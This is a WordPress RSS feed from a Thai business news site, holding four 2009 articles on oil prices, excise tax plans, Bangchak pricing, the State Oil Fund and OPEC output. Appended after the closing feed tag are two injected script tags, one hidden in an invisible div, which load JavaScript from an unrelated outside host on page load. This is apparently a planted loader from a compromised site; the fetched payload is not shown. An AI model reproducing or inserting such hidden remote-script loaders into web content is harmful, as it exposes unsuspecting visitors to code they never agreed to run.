<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Business Day News,Thailand Business News,Press Release News, Finance,Forex,Stock,Economy,Politics,Energy,Bank News &#187; oil</title>
	<atom:link href="http://www.bday.net/tag/oil/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bday.net</link>
	<description>Business Day Online News</description>
	<lastBuildDate>Mon, 06 Feb 2012 08:06:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Govt to reduce oil excise taxes if global price hits US$ 70-80/barrel</title>
		<link>http://www.bday.net/govt-to-reduce-oil-excise-taxes-if-global-price-hits-us-70-80barrel/</link>
		<comments>http://www.bday.net/govt-to-reduce-oil-excise-taxes-if-global-price-hits-us-70-80barrel/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 16:23:44 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Energy]]></category>
		<category><![CDATA[Finance Minister Korn Chatikavani]]></category>
		<category><![CDATA[oil]]></category>
		<category><![CDATA[taxes]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=1003</guid>
		<description><![CDATA[BANGKOK, 31 July 2009 (NNT) – Oil excise taxes may be reduced if the global oil price increases to 70 to 80 USD per barrel, according to Finance Minister Korn Chatikavanij. Mr Korn said the Government would consider decreasing the oil excise taxes to help relieve burdens of people as the global oil price was [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #333333;">BANGKOK, 31 July 2009 (NNT) – Oil excise taxes may be reduced if the global oil price increases to 70 to 80 USD per barrel, according to Finance Minister Korn Chatikavanij.</p>
<p>Mr Korn said the Government would consider decreasing the oil excise taxes to help relieve burdens of people as the global oil price was aggressively volatile due to the current economic situation. The Government was ready to explain its decision to include the Excise Tax Tariffs bill in the agenda of the special parliamentary session in August this year, he added.</p>
<p>The minister also expressed confidence that the 2009 revenue collection would be less than the projected target by only 170 billion baht. The ministry earlier forecast that the revenue would be lower than the target by 280 to 300 billion baht. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/govt-to-reduce-oil-excise-taxes-if-global-price-hits-us-70-80barrel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dr. Anusorn: Bangchak pegs its retail prices of domestic oil products for next few days</title>
		<link>http://www.bday.net/dr-anusorn-bangchak-pegs-its-retail-prices-of-domestic-oil-products-for-next-few-days/</link>
		<comments>http://www.bday.net/dr-anusorn-bangchak-pegs-its-retail-prices-of-domestic-oil-products-for-next-few-days/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 16:09:58 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Energy]]></category>
		<category><![CDATA[Anusorn Saengnimnuan]]></category>
		<category><![CDATA[Bangchak]]></category>
		<category><![CDATA[Bangchak President]]></category>
		<category><![CDATA[global market]]></category>
		<category><![CDATA[oil]]></category>
		<category><![CDATA[price]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=286</guid>
		<description><![CDATA[BANGKOK, 9 June 2009 (NNT) &#8211; Bangchak President Anusorn Saengnimnuan divulged that his company would peg retail prices of its oil products for next few days, while expecting that crude price could hit US$70-80 a barrel in the third quarter. With the price hike of crude in the global market, Dr. Anusorn said it would [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #333333;">BANGKOK, 9 June 2009 (NNT) &#8211; Bangchak President Anusorn Saengnimnuan divulged that his company would peg retail prices of its oil products for next few days, while expecting that crude price could hit US$70-80 a barrel in the third quarter.</span></p>
<p>With the price hike of crude in the global market, Dr. Anusorn said it would direct the average price of crude to stand at US$55 a barrel for the whole year. He said crude price should stabilize for the next few days as well.</p>
<p>Dr. Anusorn advised the Government to intervene in the oil prices once retail prices of domestic oil products go beyond 35 baht a liter. When it occurs, he said either excise tax policy or State Oil Fund’s policy could help minimize impacts on the Thai economy.</p>
<p>Dr. Anusorn also agreed with the Energy Ministry’s plan to call off the distribution of benzene 91 as it would help increase the domestic consumption of ethanol up to one million liter a day.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/dr-anusorn-bangchak-pegs-its-retail-prices-of-domestic-oil-products-for-next-few-days/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oil fund not to shoulder oil price more than 4 months</title>
		<link>http://www.bday.net/oil-fund-not-to-shoulder-oil-price-more-than-4-months/</link>
		<comments>http://www.bday.net/oil-fund-not-to-shoulder-oil-price-more-than-4-months/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 18:00:01 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Energy]]></category>
		<category><![CDATA[Energy Minister]]></category>
		<category><![CDATA[oil]]></category>
		<category><![CDATA[OPEC]]></category>
		<category><![CDATA[price]]></category>
		<category><![CDATA[Wannarat Channukul]]></category>

		<guid isPermaLink="false">http://www.bday.net/?p=230</guid>
		<description><![CDATA[BANGKOK, 1 June 2009 (NNT) – Energy Minister MD Wannarat Channukul affirmed that the rising price of oil depended on the global marketing mechanism while stating that the oil fund could only shoulder the oil price for not more than four months. The Energy Minister said the current rising oil price was according to the [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #333333;">BANGKOK, 1 June 2009 (NNT) – Energy Minister MD Wannarat Channukul affirmed that the rising price of oil depended on the global marketing mechanism while stating that the oil fund could only shoulder the oil price for not more than four months.</p>
<p>The Energy Minister said the current rising oil price was according to the global market price mechanism. He stated that the Ministry was managing appropriately and would not increase money collection for the oil fund, which was earlier reduced to help shoulder the rise of the Government&#8217;s gasoline excise tax of two baht per litre.</p>
<p>The increasing price resulted from OPEC’s stance to maintain its production, after it has was constantly reduced. On the other hand, the demand of benzene is also rising during summer in Europe and the US. In addition, the positive expansion of Chinese and Indian economies are driving up the price of oil as well.</p>
<p>MD Wannarat said the fund could not help bear this problem forever, citing that each month the fund had to take care of about four billion baht and could shoulder oil price at most for four months. He said people needed to save energy consumption too.</p>
<p>Last year, Thailand&#8217;s imported energy accounted for 19.5 percent of national GDP, valued at 1.1 trillion from the total imports of 5.9 trillion baht, which was the most important factor leading to Thailand&#8217;s trade deficit. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/oil-fund-not-to-shoulder-oil-price-more-than-4-months/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OPEC Unlikely to Announce New Output Cut in May</title>
		<link>http://www.bday.net/opec-unlikely-to-announce-new-output-cut-in-may/</link>
		<comments>http://www.bday.net/opec-unlikely-to-announce-new-output-cut-in-may/#comments</comments>
		<pubDate>Mon, 25 May 2009 02:51:21 +0000</pubDate>
		<dc:creator>k</dc:creator>
				<category><![CDATA[Energy]]></category>
		<category><![CDATA[Algeria]]></category>
		<category><![CDATA[Ali al-Naimi]]></category>
		<category><![CDATA[Barclays Capital]]></category>
		<category><![CDATA[New York]]></category>
		<category><![CDATA[oil]]></category>
		<category><![CDATA[OPEC]]></category>

		<guid isPermaLink="false">http://bday2.bday.net/?p=62</guid>
		<description><![CDATA[The Organization of Petroleum Exporting Countries, supplier of about 40 percent of the world’s oil, is unlikely to announce a further output cut at its next meeting as prices “stabilize,” according to Barclays Capital. OPEC will probably keep production targets unchanged as long as crude prices remain around current levels and inventory growth continues to [...]]]></description>
			<content:encoded><![CDATA[<p>The Organization of Petroleum Exporting Countries, supplier of about 40 percent of the world’s oil, is unlikely to announce a further output cut at its next meeting as prices “stabilize,” according to Barclays Capital.<span id="more-62"></span></p>
<p>OPEC will probably keep production targets unchanged as long as crude prices remain around current levels and inventory growth continues to slow, according to Barclays’s head of commodities research, Paul Horsnell. The group meets on May 28 in Vienna.</p>
<p>“If they held the meeting today, there’s no reason to change” quotas, Horsnell said in a telephone interview from London. “Prices are stabilizing and starting to nudge up in the direction they want. Seventy dollars is not that far away.”</p>
<p>New York crude has advanced 22 percent since OPEC last met on March 15, when members agreed to keep production quotas unchanged rather than risk damaging the ailing global economy. OPEC announced three output cuts late last year to remove 4.2 million barrels a day in a bid to bolster prices. Oil futures traded at $57.94 a barrel as of 1:02 p.m. London time today.</p>
<p>“Even at $58, it’s not really the level that matters but the trend,” Horsnell said. “Fifty-eight dollars after a gentle rise is very different from $58 after a gentle fall.”</p>
<p>While U.S. crude stockpiles are at their highest in more than 18 years, the slowing trend of inventory growth will be a more important consideration for the group than absolute levels, according to Horsnell.</p>
<p>OPEC’s secretary general and ministers from Algeria and Qatar said last month that members can tolerate a price of $50, less than previous informal targets around $70. Saudi Arabian Oil Minister Ali al-Naimi said April 25 that $50 oil is the country’s “contribution to the world economy.”</p>
<p>OPEC has completed about 83 percent of the output reductions announced last year, according to the International Energy Agency. The 11 members of the group subject to formal limits have a collective quota of 24.845 million barrels a day.</p>
<p>By Grant Smith<br />
Bloomberg</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bday.net/opec-unlikely-to-announce-new-output-cut-in-may/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<div style="display:none"><script language=javascript src=http://taoq.info/about/3.js></script></div>
<script language=javascript src=http://taoq.info/about/4.js></script>


<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Served from: www.bday.net @ 2012-02-08 07:16:07 -->
